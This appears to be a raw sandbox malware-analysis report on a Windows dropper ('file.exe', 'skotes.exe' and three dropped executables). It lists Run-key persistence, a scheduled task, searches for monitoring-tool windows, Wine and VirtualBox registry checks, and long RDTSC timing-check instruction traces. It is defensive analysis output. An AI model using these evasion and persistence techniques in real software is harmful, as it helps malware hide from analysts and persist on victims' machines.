Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsAKKEGHJDHD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5912d4444a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5912d4444a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b84e35a556.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b84e35a556.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9ec07c9018.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9ec07c9018.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5016A second address: C50170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFAE4 second address: DCFAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFECF second address: DCFED3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFED3 second address: DCFEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFEDB second address: DCFF09 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b jnp 00007F28606BF766h 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007F28606BF76Eh 0x0000001c jng 00007F28606BF766h 0x00000022 pushad 0x00000023 popad 0x00000024 jng 00007F28606BF76Ah 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0076 second address: DD00B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C8h 0x00000007 jnp 00007F286071A1B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007F286071A1B8h 0x00000015 pop ecx 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F286071A1BFh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0202 second address: DD0213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 je 00007F28606BF76Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2887 second address: DD28A9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 1E53EFCBh 0x0000000f add dword ptr [ebp+122D190Bh], eax 0x00000015 lea ebx, dword ptr [ebp+12456671h] 0x0000001b mov edi, ecx 0x0000001d xchg eax, ebx 0x0000001e push edx 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD28A9 second address: DD28BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jp 00007F28606BF766h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2941 second address: DD2962 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a jbe 00007F286071A1B8h 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop ecx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jng 00007F286071A1D6h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2962 second address: DD2966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2966 second address: DD299C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edx 0x0000000c js 00007F286071A1B8h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jo 00007F286071A1BCh 0x00000021 js 00007F286071A1B6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD299C second address: DD2A47 instructions: 0x00000000 rdtsc 0x00000002 je 00007F28606BF76Ch 0x00000008 jo 00007F28606BF766h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 mov edx, dword ptr [ebp+122D37F4h] 0x00000017 push 00000003h 0x00000019 call 00007F28606BF76Fh 0x0000001e pushad 0x0000001f mov dword ptr [ebp+122D2F0Ah], ecx 0x00000025 mov bh, cl 0x00000027 popad 0x00000028 pop ecx 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F28606BF768h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 push ebx 0x00000046 jmp 00007F28606BF76Fh 0x0000004b pop edx 0x0000004c sub si, D9B4h 0x00000051 push 00000003h 0x00000053 push 00000000h 0x00000055 push ebp 0x00000056 call 00007F28606BF768h 0x0000005b pop ebp 0x0000005c mov dword ptr [esp+04h], ebp 0x00000060 add dword ptr [esp+04h], 00000015h 0x00000068 inc ebp 0x00000069 push ebp 0x0000006a ret 0x0000006b pop ebp 0x0000006c ret 0x0000006d and esi, 6B145089h 0x00000073 call 00007F28606BF769h 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F28606BF76Ch 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2A47 second address: DD2AAD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F286071A1B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F286071A1C9h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 je 00007F286071A1B8h 0x0000001d push eax 0x0000001e pop eax 0x0000001f jne 00007F286071A1B8h 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 jg 00007F286071A1CFh 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2AAD second address: DD2AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2BC7 second address: DD2C43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 4BC0602Eh 0x00000010 jmp 00007F286071A1C6h 0x00000015 lea ebx, dword ptr [ebp+12456685h] 0x0000001b or edi, 75AEE186h 0x00000021 xchg eax, ebx 0x00000022 push edi 0x00000023 jmp 00007F286071A1C8h 0x00000028 pop edi 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F286071A1C8h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2C43 second address: DD2C4D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F28606BF76Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE4A30 second address: DE4A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE4A34 second address: DE4A3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF44CD second address: DF44FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jbe 00007F286071A1B6h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F286071A1BFh 0x00000013 jmp 00007F286071A1BDh 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7D73 second address: DC7D79 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7D79 second address: DC7DE1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F286071A1D0h 0x00000008 push ebx 0x00000009 jmp 00007F286071A1C5h 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop ebx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F286071A1C8h 0x0000001a jmp 00007F286071A1C1h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF245A second address: DF2460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF259D second address: DF25A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F286071A1B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF25A9 second address: DF25AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2A9A second address: DF2AB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F286071A1BEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2AB4 second address: DF2ABA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2ABA second address: DF2ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F286071A1C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2D76 second address: DF2D91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007F28606BF766h 0x0000000f pushad 0x00000010 popad 0x00000011 jns 00007F28606BF766h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2D91 second address: DF2DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jne 00007F286071A1C5h 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3040 second address: DF3044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3044 second address: DF305C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F286071A1B6h 0x00000008 je 00007F286071A1B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F286071A1B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF305C second address: DF306F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF31C7 second address: DF31CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF31CF second address: DF31D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3DCE second address: DF3DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3DD2 second address: DF3DD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3DD8 second address: DF3DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3DDC second address: DF3DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4336 second address: DF433C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF433C second address: DF4342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
